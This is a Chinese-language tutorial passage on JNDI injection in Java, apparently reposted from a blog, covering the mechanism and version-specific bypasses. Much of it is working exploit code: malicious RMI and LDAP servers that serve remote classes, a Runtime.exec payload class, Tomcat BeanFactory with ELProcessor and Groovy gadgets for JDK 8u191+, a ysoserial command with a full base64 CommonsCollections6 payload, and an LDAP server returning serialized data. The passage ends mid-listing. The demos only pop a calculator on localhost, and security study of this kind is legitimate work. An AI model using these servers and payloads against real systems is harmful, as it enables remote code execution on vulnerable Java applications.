原文:https://www.cnblogs.com/LittleHann/p/17768907.html
一、JNDI 简介 JNDI是什么 JNDI(Java Naming and Directory Interface)是一个应用程序设计的 API,一种标准的 Java 命名系统接口。
JNDI 提供统一的客户端 API,通过不同的JNDI服务供应接口(SPI)的实现,由管理者将 JNDI API 映射为特定的命名服务和目录系统,使得 Java 应用程序可以和这些命名服务和目录服务之间进行交互。
通俗的说就是若程序定义了 JDNI 中的接口,则就可以通过该接口 API 访问系统的命令服务和目录服务,如下图。
协议
作用
LDAP
轻量级目录访问协议,约定了 Client 与 Server 之间的信息交互格式、使用的端口号、认证方式等内容
RMI
JAVA 远程方法协议,该协议用于远程调用应用程序编程接口,使客户机上运行的程序可以调用远程服务器上的对象
DNS
域名服务
CORBA
公共对象请求代理体系结构
J2EE规范要求所有的J2EE容器都要提供JNDI规范的实现。JNDI就成为了J2EE组件在运行期间间接地查找其他组件、资源或服务的通用机制。JNDI在J2EE中主要角色就是提供间接层,这样组件可以发现所需资源,不用了解间接性。
JNDI解决了什么问题 没有JNDI之前,对于一个外部依赖,像Mysql数据库,程序开发的过程中需要将具体的数据库地址参数写入到Java代码中,程序才能找到具体的数据库地址进行链接。那么数据库配置这些信息可能经常变动的。这就需要开发经常手动去调整配置。有了JNDI后,程序员可以不去管数据库相关的配置信息,这些配置都交给J2EE容器来配置和管理,程序员只要对这些配置和管理进行引用即可。其实就是给资源起个名字,再根据名字来找资源。
二、JNDI注入原理分析 JNDI 注入,即当开发者在定义 JNDI
接口初始化时,lookup()
方法的参数被外部攻击者可控,攻击者就可以将恶意的 url
传入参数,以此劫持被攻击的Java客户端的JNDI请求指向恶意的服务器地址,恶意的资源服务器地址响应了一个恶意Java对象载荷(reference实例 or 序列化实例),对象在被解析实例化,实例化的过程造成了注入攻击。不同的注入方法区别主要就在于利用实例化注入的方式不同。
一个简单的漏洞代码示例如下,
1 2 3 4 5 6 7 8 9 10 11 package org.example;import javax.naming.InitialContext;import javax.naming.NamingException;public class jndi { public static void main (String[] args) throws NamingException { String uri = "rmi://127.0.0.1:1099/Exploit" ; InitialContext initialContext = new InitialContext (); initialContext.lookup(uri); } }
代码中定义了 uri 变量,uri 变量可控,并定义了一个 rmi 协议服务, rmi://127.0.0.1:1099/Exploit 为攻击者控制的链接,最后使用 lookup() 函数进行远程获取 Exploit 类(Exploit 类名为攻击者定义,不唯一),并执行它。
服务端攻击代码,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 package jndi_rmi_injection;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;import javax.naming.Reference;import com.sun.jndi.rmi.registry.ReferenceWrapper;public class RMIService { public static void main (String[] args) throws Exception{ Registry registry = LocateRegistry.createRegistry(1099 ); Reference reference = new Reference ("Calculator" ,"Calculator" ,"http://127.0.0.1:8081/" ); ReferenceWrapper wrapper = new ReferenceWrapper (reference); registry.bind("Exploit" ,wrapper); } }
我们深入到源码级别研究一下产生漏洞的原因。 先关注受攻击客户端。
InitialContext 类用于读取 JNDI 的一些配置信息,内含对象和其在 JNDI 中的注册名称的映射信息。
1 InitialContext initialContext = new InitialContext(); // 初始化上下文,获取初始目录环境的一个引用
lookup(String name) 获取 name 的数据,这里的 uri 被定义为 rmi://127.0.0.1:1099/Exploit 所以会通过 rmi 协议访问 127.0.0.1:1099/Exploit
1 2 String uri = "rmi://127.0.0.1:1099/Exploit"; // 指定查找的 uri 变量 initialContext.lookup(uri); // 获取指定的远程对象
由于 lookup()
参数可控,导致漏洞的出现,跟进代码如下,
以LDAP为例,获得远程LDAPServer的Entry之后,跟进跟进com/sun/jndi/ldap/Obj.java#decodeObject,
按照该函数的注释来看,其主要功能是解码从LDAP Server来的对象,
该对象可能是序列化的对象
也可能是一个Reference对象
这里先分析Reference对象的处理流程。
当客户端在lookup()查找这个远程对象时,客户端会获取相应的object factory,最终通过factory类将reference转换为具体的对象实例。
如果LDAP Server返回的属性里包括了 objectClass
和 javaNamingReference
,将进入Reference的处理函数decodeReference上。
decodeReference再从属性中提取出 javaClassName
和 javaFactory
,最后将生成一个Reference。这里生成的ref就是在RMI返回的那个ReferenceWrapper,后面这个ref将会传递给Naming Manager去处理,包括从codebase中获取class文件并载入。
这里继续分析Serialized Object序列化对象的处理流程。
在com/sun/jndi/ldap/Obj.java#decodeObject上还存在一个判断,
如果在返回的属性中存在 javaSerializedData ,将继续调用 deserializeObject 函数,该函数主要就是调用常规的反序列化方式readObject对序列化数据进行还原,如下payload。
1 @Override protected void processAttribute (Entry entry) { entry.addAttribute("javaClassName" , "foo" ); entry.addAttribute("javaSerializedData" , serialized); }
接下来分析服务端攻击代码所使用的Reference类,Reference 是一个抽象类,每个 Reference 都有一个指向的对象,对象指定类会被加载并实例化。
在上面服务端代码中,reference 指定了一个 Calculator 类,于远程的 http://127.0.0.1:8081/ 服务端上,等待客户端的调用并实例化执行。
以上就是JNDI注入的基本原理(核心就是远程对象解析引发的对象重建过程带来的风险调用链问题),但是JNDI注入并没有这么简单,因为java在漫长的迭代生涯中一直在添加新的补丁特性,使得JNDI的利用越来越困难(主要是禁用了从远程加载Java对象),而同时安全研究员也在不断研究出新的绕过利用方式(主要是寻找本地gadgets)。
三、JNDI注入漏洞复现 这一章采用最基础的远程reference对象注入,本章中的代码将作为后续章节的基础。
JNDI+RMI 复现 漏洞利用过程归纳总结为:
由于 lookup() 的参数可控,攻击者在远程服务器上构造恶意的 Reference 类绑定在 RMIServer 的 Registry 里面,然后客户端调用 lookup() 函数里面的对象,远程类获取到 Reference 对象,客户端接收 Reference 对象后,寻找 Reference 中指定的类,若查找不到,则会在 Reference 中指定的远程地址去进行请求,请求到远程的类后会在本地进行执行,从而达到 JNDI 注入攻击。
1、项目代码编写 新建maven项目,
在 /src/java 目录下创建一个包,包名为 jndi_rmi_injection,
在创建的jndi_rmi_injection包下新建 rmi 服务端和客户端,
服务端(RMIService.java)代码,服务端是攻击者控制的服务器
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 package jndi_rmi_injection;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;import javax.naming.Reference;import com.sun.jndi.rmi.registry.ReferenceWrapper;public class RMIService { public static void main (String[] args) throws Exception{ Registry registry = LocateRegistry.createRegistry(7778 ); Reference reference = new Reference ("Calculator" ,"Calculator" ,"http://127.0.0.1:8081/" ); ReferenceWrapper wrapper = new ReferenceWrapper (reference); registry.bind("RCE" ,wrapper); } }
服务端端恶意载荷(Calculator.java)代码
1 2 3 4 5 6 7 package jndi_rmi_injection;public class Calculator { public Calculator () throws Exception { Runtime.getRuntime().exec("open -a Calculator" ); } }
笔者使用的是 mac 的环境,执行弹出计算器的命令为”open -a Calculator“,若为Windwos 修改为”calc“即可。
客户端(RMIClient.java)代码,客户端代表存在漏洞的受害端。
1 2 3 4 5 6 7 8 9 10 11 12 package jndi_rmi_injection;import javax.naming.InitialContext;import javax.naming.NamingException;public class RMIClient { public static void main (String[] args) throws NamingException{ String uri = "rmi://127.0.0.1:7778/RCE" ; InitialContext initialContext = new InitialContext (); initialContext.lookup(uri); } }
2、启动RMI服务 将 HTTP 端恶意载荷 Calculator.java,编译成 Calculator.class 文件,
在 Calculator.class 目录下利用 Python 起一个临时的 WEB 服务放置恶意载荷,这里的端口必须要与 RMIServer.java 的 Reference 里面的链接端口一致。
1 python3 -m http.server 8081
先运行攻击者可控的RMI服务端,用于接受来自己客户端的lookup请求,
3、启动包含lookup功能的客户端服务,即启动存在被漏洞利用风险的服务 运行客户端,模拟被攻击者JNDI注入过程,远程获取恶意类,并执行恶意类代码,实现弹窗。
JNDI+LDAP 复现 攻击者搭建LDAP服务器,需要导入unboundid依赖库。
在本项目根目录下创建/lib目录,用于放置本地依赖库,点击下载 unboundid-ldapsdk-3.2.0.jar ,导入依赖即可,
LDAPServer.java 服务端代码,服务端是攻击者控制的服务器。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 package jndi_rmi_injection;import java.net.InetAddress;import java.net.MalformedURLException;import java.net.URL;import javax.net.ServerSocketFactory;import javax.net.SocketFactory;import javax.net.ssl.SSLSocketFactory;import com.unboundid.ldap.listener.InMemoryDirectoryServer;import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;import com.unboundid.ldap.listener.InMemoryListenerConfig;import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;import com.unboundid.ldap.sdk.Entry;import com.unboundid.ldap.sdk.LDAPException;import com.unboundid.ldap.sdk.LDAPResult;import com.unboundid.ldap.sdk.ResultCode;public class LDAPServer { private static final String LDAP_BASE = "dc=example,dc=com" ; public static void main (String[] args) { String url = "http://127.0.0.1:8081/#Calculator" ; int port = 1234 ; try { InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig (LDAP_BASE); config.setListenerConfigs(new InMemoryListenerConfig ( "listen" , InetAddress.getByName("0.0.0.0" ), port, ServerSocketFactory.getDefault(), SocketFactory.getDefault(), (SSLSocketFactory) SSLSocketFactory.getDefault())); config.addInMemoryOperationInterceptor(new OperationInterceptor (new URL (url))); InMemoryDirectoryServer ds = new InMemoryDirectoryServer (config); System.out.println("Listening on 0.0.0.0:" + port); ds.startListening(); } catch ( Exception e ) { e.printStackTrace(); } } private static class OperationInterceptor extends InMemoryOperationInterceptor { private URL codebase; public OperationInterceptor ( URL cb ) { this .codebase = cb; } @Override public void processSearchResult ( InMemoryInterceptedSearchResult result ) { String base = result.getRequest().getBaseDN(); Entry e = new Entry (base); try { sendResult(result, base, e); } catch ( Exception e1 ) { e1.printStackTrace(); } } protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException { URL turl = new URL (this .codebase, this .codebase.getRef().replace('.' , '/' ).concat(".class" )); System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl); e.addAttribute("javaClassName" , "Exploit" ); String cbstring = this .codebase.toString(); int refPos = cbstring.indexOf('#' ); if ( refPos > 0 ) { cbstring = cbstring.substring(0 , refPos); } e.addAttribute("javaCodeBase" , cbstring); e.addAttribute("objectClass" , "javaNamingReference" ); e.addAttribute("javaFactory" , this .codebase.getRef()); result.sendSearchEntry(e); result.setResult(new LDAPResult (0 , ResultCode.SUCCESS)); } } }
客户端(LDAPClient.java)代码,客户端代表存在漏洞的受害端。
1 2 3 4 5 6 7 8 9 10 11 12 package jndi_rmi_injection;import javax.naming.InitialContext;import javax.naming.NamingException;public class LDAPClient { public static void main (String[] args) throws NamingException{ String url = "ldap://127.0.0.1:1234/Calculator" ; InitialContext initialContext = new InitialContext (); initialContext.lookup(url); } }
HTTP 端恶意载荷(Calculator.java)代码和上一小节保持不变。
将 HTTP 端恶意载荷 Calculator.java,编译成 Calculator.class 文件,在 Calculator.class 目录下利用 Python 起一个临时的 WEB 服务放置恶意载荷,这里的端口必须要与 LDAPServer.java 的 Reference 里面的链接端口一致。
先启动服务端,
再启动客户端。
JNDI+DNS 复现 通过上面我们可知 JNDI 注入可以利用 RMI 协议和LDAP 协议搭建服务然后执行命令,但有个不好的点就是会暴露自己的服务器 IP 。在没有确定存在漏洞前,直接在直接服务器上使用 RMI 或者 LDAP 去执行命令,通过日志可分析得到攻击者的服务器 IP,这样在没有获取成果的前提下还暴露了自己的服务器 IP,得不偿失。
为了解决这个问题,可以使用DNS 协议进行探测,通过 DNS 协议去探测是否真的存在漏洞,再去利用 RMI 或者 LDAP 去执行命令,避免过早暴露服务器 IP,这也是平常大多数人习惯使用 DNSLog 探测的原因之一,同样的 ldap 和 rmi 也可以使用 DNSLog 平台去探测。
漏洞端代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 package jndi_ldap_injection;import javax.naming.InitialContext;import javax.naming.NamingException;public class LDAPClient { public static void main (String[] args) throws NamingException{ String url = "dns://192rzl.dnslog.cn" ; InitialContext initialContext = new InitialContext (); initialContext.lookup(url); } }
填入 DNSLog 平台域名,或自己搭建的平台域名,执行程序。
参考链接:
1 2 3 https://www.veracode.com/blog/research/exploiting-jndi-injections-java https://xz.aliyun.com/t/12277#toc-5 https://evilpan.com/2021/12/13/jndi-injection/#remote-class
四、不同JDK版本中JNDI注入存在的限制及绕过方法 Java JNDI注入有很多种不同的利用载荷,而这些Payload分别会面临一些限制。
我们来整理一下,关于jndi的相关安全更新:
JDK 6u132, JDK 7u122, JDK 8u113中添加了com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase 的默认值变为false。导致jndi的rmi reference方式失效,但ldap的reference方式仍然可行
Oracle JDK 11.0.1、8u191、7u201、6u211之后 com.sun.jndi.ldap.object.trustURLCodebase 属性的默认值被调整为false。导致jndi的ldap reference方式失效,到这里为止,远程codebase的方式基本失效,除非认为设为true
在最新版的jdk8u上,jndi ldap的本地反序列化利用链 1 和 2 的方式仍然未失效,jndi rmi底层(JRMPListener) StreamRemoteCall 的本地利用方式仍未失效。所以如果Reference的方式不行的时候,可以试试利用本地ClassPath里的反序列化利用链来达成RCE。但前提是需要利用一个本地的反序列化利用链(如CommonsCollections、EL表达式等)。
我们接下来按照java版本的演进分别分析JNDI注入的方法。
在实验前,要准备好不同版本的jdk 方便测试。
6u45/7u21之前/JDK版本低于1.8.0_191
在这个版本之前,JNDI注入的利用条件是最宽松的,如果攻击者可以控制lookup()的返回内容,就可以很容易地把返回内容设置成一个远程Java对象下载地址,以此触发远程对象加载。
我们创建一个恶意的RMI服务器,并响应一个恶意的远程Java对象下载地址。编译后的RMI远程对象类可以放在HTTP/FTP/SMB等服务器上
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 package jndi_rmi_injection;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;import javax.naming.Reference;import com.sun.jndi.rmi.registry.ReferenceWrapper;public class RMIService { public static void main (String[] args) throws Exception{ Registry registry = LocateRegistry.createRegistry(7778 ); Reference reference = new Reference ("Calculator" ,"Calculator" ,"http://127.0.0.1:8081/" ); ReferenceWrapper wrapper = new ReferenceWrapper (reference); registry.bind("RCE" ,wrapper); } }
我们创建了一个javax.naming.Reference的示例,把这个示例绑定到”/RCE“地址上,这个Export对象对目标服务器会从”http://127.0.0.1:8081/Calculator.class“这里获取字节码,从而触发1个RCE。
上面的代码在Java 8u121 Oracle添加RMI代码限制的前工作完美。之后,我们可以利用一个恶意的LDAP服务器响应相同信息,进行攻击。
Java 8u121 Oracle添加的限制和Codebase机制有关。Codebase指定了Java程序在网络上远程加载类的路径。RMI机制中交互的数据是序列化形式传输的,但是传输的只是对象的数据内容,RMI本身并不会传递类的代码。当本地没有该对象的类定义时,RMI提供了一些方法可以远程加载类,也就是RMI动态加载类的特性。
当RMI对象发送序列化数据时,会在序列化流中附加上Codebase的信息,这个信息告诉接收方到什么地方寻找该对象的执行代码。
RMI客户端在 lookup() 的过程中,
会先尝试在本地CLASSPATH中去获取对应的Stub类的定义,并从本地加载
然而如果在本地无法找到,RMI客户端则会向远程Codebase去获取攻击者指定的恶意对象。远程Codebase实际上是一个URL表,该URL上存放了接收方需要的类文件。
当接收程序试图从该URL的Webserver上下载类文件时,它会把类的包名转化成目录,在Codebase 的对应目录下查询类文件,如果你传递的是类文件 com.project.test ,那么接受方就会到下面的URL去下载类文件:
1 http://url:8080/com/project/test.class
但是,从Java 8u121 Oracle后,rmi的trustURLCodebase默认设置为false,将禁用自动加载远程类文件,仅从CLASSPATH和当前VM的java.rmi.server.codebase 指定路径加载类文件。使用这个属性来防止客户端VM从其他Codebase地址上动态加载类,增加了RMI ClassLoader的安全性。
Changelog:
具体被阻断在于步骤4,如下图。
虽然rmi远程类加载默认被禁用了,但是在8u191之前,ldap的trustURLCodebase还是默认为true的。
LDAP目录服务是由目录数据库和一套访问协议组成的系统。LDAP全称是轻量级目录访问协议(The Lightweight Directory Access Protocol),它提供了一种查询、浏览、搜索和修改互联网目录数据的机制,运行在TCP/IP协议栈之上,基于C/S架构。
Java对象在LDAP目录中也有多种存储形式:
Java序列化
JNDI Reference
Marshalled对象
Remote Location(已弃用)
LDAP可以为存储的Java对象指定多种属性:
javaCodeBase
objectClass
javaFactory
javaSerializedData
…
这里 javaCodebase 属性可以指定远程的URL,这样黑客可以控制反序列化中的class,通过JNDI Reference的方式进行利用,利用过程与上面RMI Reference基本一致,只是lookup()中的URL为一个LDAP地址:ldap://xxx/xxx,由攻击者控制的LDAP服务端返回一个恶意的JNDI Reference对象。并且LDAP服务的Reference远程加载Factory类不受上一点中 com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase等属性的限制,所以适用范围更广。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 package jndi_rmi_injection;import java.net.InetAddress;import java.net.MalformedURLException;import java.net.URL;import javax.net.ServerSocketFactory;import javax.net.SocketFactory;import javax.net.ssl.SSLSocketFactory;import com.unboundid.ldap.listener.InMemoryDirectoryServer;import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;import com.unboundid.ldap.listener.InMemoryListenerConfig;import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;import com.unboundid.ldap.sdk.Entry;import com.unboundid.ldap.sdk.LDAPException;import com.unboundid.ldap.sdk.LDAPResult;import com.unboundid.ldap.sdk.ResultCode;public class LDAPServer { private static final String LDAP_BASE = "dc=example,dc=com" ; public static void main (String[] args) { String url = "http://127.0.0.1:8081/#Calculator" ; int port = 1234 ; try { InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig (LDAP_BASE); config.setListenerConfigs(new InMemoryListenerConfig ( "listen" , InetAddress.getByName("0.0.0.0" ), port, ServerSocketFactory.getDefault(), SocketFactory.getDefault(), (SSLSocketFactory) SSLSocketFactory.getDefault())); config.addInMemoryOperationInterceptor(new OperationInterceptor (new URL (url))); InMemoryDirectoryServer ds = new InMemoryDirectoryServer (config); System.out.println("Listening on 0.0.0.0:" + port); ds.startListening(); } catch ( Exception e ) { e.printStackTrace(); } } private static class OperationInterceptor extends InMemoryOperationInterceptor { private URL codebase; public OperationInterceptor ( URL cb ) { this .codebase = cb; } @Override public void processSearchResult ( InMemoryInterceptedSearchResult result ) { String base = result.getRequest().getBaseDN(); Entry e = new Entry (base); try { sendResult(result, base, e); } catch ( Exception e1 ) { e1.printStackTrace(); } } protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException { URL turl = new URL (this .codebase, this .codebase.getRef().replace('.' , '/' ).concat(".class" )); System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl); e.addAttribute("javaClassName" , "Exploit" ); String cbstring = this .codebase.toString(); int refPos = cbstring.indexOf('#' ); if ( refPos > 0 ) { cbstring = cbstring.substring(0 , refPos); } e.addAttribute("javaCodeBase" , cbstring); e.addAttribute("objectClass" , "javaNamingReference" ); e.addAttribute("javaFactory" , this .codebase.getRef()); result.sendSearchEntry(e); result.setResult(new LDAPResult (0 , ResultCode.SUCCESS)); } } }
不过在2018年10月,Java最终也修复了这个利用点,对LDAP Reference远程工厂类的加载增加了限制,在Oracle JDK 11.0.1、8u191、7u201、6u211之后 com.sun.jndi.ldap.object.trustURLCodebase 属性的默认值被调整为false,还对应的分配了一个漏洞编号CVE-2018-3149。
这导致JNDI远程类加载问题被修复。自此也就意味着远程codebase的Reference方式被限制死了。
之后攻击者利用jndi注入主要是进行不信任数据的反序列化,利用门槛变高,要求系统中存在gadgetl类。
JAVA 8u191之后 1、找到一个受害者本地CLASSPATH中的类作为恶意的Reference Factory工厂类,并利用这个本地的Factory类执行命令 JAVA 8u191时,JNDI客户端在接受远程引用对象的时候,不使用classFactoryLoction,但是我们还是可以通过JavaFactory来指定一个任意的工厂类,这个类时用于从攻击者控制的Reference对象中提取真实的对象。
这个工厂类需要满足以下几个条件:
真实对象要求必须存在目标系统的classpath
工厂类必须实现 javax.naming.spi.ObjectFactory 接口,并且至少存在一个 getObjectInstance() 方法
接下来的问题就是,我们需要找到一个工厂类在classpath中,它对Reference的属性做了一些不安全的动作。
org.apache.naming.factory.BeanFactory 刚好满足条件并且存在被利用的可能,
org.apache.naming.factory.BeanFactory 默认存在于Tomcat依赖包中,所以使用也是非常广泛
org.apache.naming.factory.BeanFactory 在 getObjectInstance() 中会通过反射的方式实例化Reference所指向的任意Bean Class,并且会调用setter方法为所有的属性赋值。而该Bean Class的类名、属性、属性值,全都来自于Reference对象,均是攻击者可控的
配置jdk 8b192 ,
org.apache.naming.factory.BeanFactory#getObjectInstance中,包含了一段利用反射创建bean的代码。
这里利用BeanFactory工厂类加载ELProcessor类,
取forceString的值,以等号逗号截取拿到键x和对应的method即ELProcessor的eval,并且填充了一个string类型的参数作为method的反射调用,最后通过method名和一个string的参数拿到eval函数。
这里使用的魔性属性时“forceString”, 通过设置“x=eval”,我们可以将x属性对应的setter设置成eval函数。
同时,Javax.el.ELProcessor类,存在一个eval方法,接收一个字符串,该字符串将表示要执行的Java表达式语言模板。
ELProcessor_rmi_server.java服务端代码如下,服务端是攻击者控制的服务器。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 package jndi_rmi_injection;import com.sun.jndi.rmi.registry.ReferenceWrapper;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;import javax.naming.StringRefAddr;import org.apache.naming.ResourceRef;public class ELProcessor_rmi_server { public static void main (String[] args) { try { Registry registry = LocateRegistry.createRegistry(1098 ); ResourceRef resourceRef = new ResourceRef ("javax.el.ELProcessor" , (String)null , "" , "" , true , "org.apache.naming.factory.BeanFactory" , (String)null ); resourceRef.add(new StringRefAddr ("forceString" , "a=eval" )); resourceRef.add(new StringRefAddr ("a" , "Runtime.getRuntime().exec(\"open /System/Applications/Calculator.app\")" )); ReferenceWrapper referenceWrapper = new ReferenceWrapper (resourceRef); registry.bind("Exploit" , referenceWrapper); } catch (Exception e) { e.printStackTrace(); } } }
BeanFactory 创建了一个任意bean类实例并执行了它所有的setter函数。这个任意bean类的名字、属性、属性值都来自于Reference对象,外部完全可控。基本上相当于一个任意类后门了。
除了el表达式之外还有groovy也可以,原理一样,代码如下。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 package jndi_rmi_injection;import com.sun.jndi.rmi.registry.ReferenceWrapper;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;import javax.naming.StringRefAddr;import org.apache.naming.ResourceRef;public class ELProcessor_rmi_server { public static void main (String[] args) { try { Registry registry = LocateRegistry.createRegistry(1098 ); ResourceRef ref = new ResourceRef ("groovy.lang.GroovyClassLoader" , null , "" , "" , true ,"org.apache.naming.factory.BeanFactory" ,null ); ref.add(new StringRefAddr ("forceString" , "x=parseClass" )); String script = "@groovy.transform.ASTTest(value={\n" + " assert java.lang.Runtime.getRuntime().exec(\"open /System/Applications/Calculator.app\")\n" + "})\n" + "def x\n" ; ref.add(new StringRefAddr ("x" ,script)); ReferenceWrapper referenceWrapper = new ReferenceWrapper (ref); registry.bind("Exploit" , referenceWrapper); } catch (Exception e) { e.printStackTrace(); } } }
maven配置好grovvy的包依赖,
2、从JNDI服务远程获取一个Java反序列化对象,利用反序列化Gadget完成命令执行 LDAP Server除了使用JNDI Reference进行利用之外,还支持直接返回一个对象的序列化数据。如果Java对象的 javaSerializedData 属性值不为空,则客户端的 obj.decodeObject() 方法就会对这个字段的内容进行反序列化。
其中具体的处理代码如下:
1 2 3 4 if ((attr = attrs.get(JAVA_ATTRIBUTES[SERIALIZED_DATA])) != null) { ClassLoader cl = helper.getURLClassLoader(codebases); return deserializeObject((byte[])attr.get(), cl); }
我们假设目标系统中存在着有漏洞的CommonsCollections库,使用ysoserial生成一个CommonsCollections的利用Payload:
下载链接 :https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar
1 2 3 java -jar ysoserial.jar CommonsCollections6 '/System/Applications/Calculator.app'|base64 rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWV1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB0AAlnZXRNZXRob2R1cQB+ABsAAAACdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdnEAfgAbc3EAfgATdXEAfgAYAAAAAnB1cQB+ABgAAAAAdAAGaW52b2tldXEAfgAbAAAAAnZyABBqYXZhLmxhbmcuT2JqZWN0AAAAAAAAAAAAAAB4cHZxAH4AGHNxAH4AE3VyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAAAAF0ACMvU3lzdGVtL0FwcGxpY2F0aW9ucy9DYWxjdWxhdG9yLmFwcHQABGV4ZWN1cQB+ABsAAAABcQB+ACBzcQB+AA9zcgARamF2YS5sYW5nLkludGVnZXIS4qCk94GHOAIAAUkABXZhbHVleHIAEGphdmEubGFuZy5OdW1iZXKGrJUdC5TgiwIAAHhwAAAAAXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAB3CAAAABAAAAAAeHh4
LDAP Server关键代码如下,我们在javaSerializedData字段内填入刚刚生成的反序列化payload数据:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 package jndi_rmi_injection;import com.unboundid.ldap.listener.InMemoryDirectoryServer;import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;import com.unboundid.ldap.listener.InMemoryListenerConfig;import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;import com.unboundid.ldap.sdk.Entry;import com.unboundid.ldap.sdk.LDAPException;import com.unboundid.ldap.sdk.LDAPResult;import com.unboundid.ldap.sdk.ResultCode;import com.unboundid.util.Base64;import javax.net.ServerSocketFactory;import javax.net.SocketFactory;import javax.net.ssl.SSLSocketFactory;import java.net.InetAddress;import java.net.MalformedURLException;import java.text.ParseException;public class ldap_javaSerializedData_server { private static final String LDAP_BASE = "dc=example,dc=com" ; public static void main (String[] args) { int port = 1389 ; try { InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig (LDAP_BASE); config.setListenerConfigs(new InMemoryListenerConfig ( "listen" , InetAddress.getByName("0.0.0.0" ), port, ServerSocketFactory.getDefault(), SocketFactory.getDefault(), (SSLSocketFactory) SSLSocketFactory.getDefault())); config.addInMemoryOperationInterceptor(new OperationInterceptor ()); InMemoryDirectoryServer ds = new InMemoryDirectoryServer (config); System.out.println("Listening on 0.0.0.0:" + port); ds.startListening(); } catch ( Exception e ) { e.printStackTrace(); } } private static class OperationInterceptor extends InMemoryOperationInterceptor { public OperationInterceptor () { } @Override public void processSearchResult ( 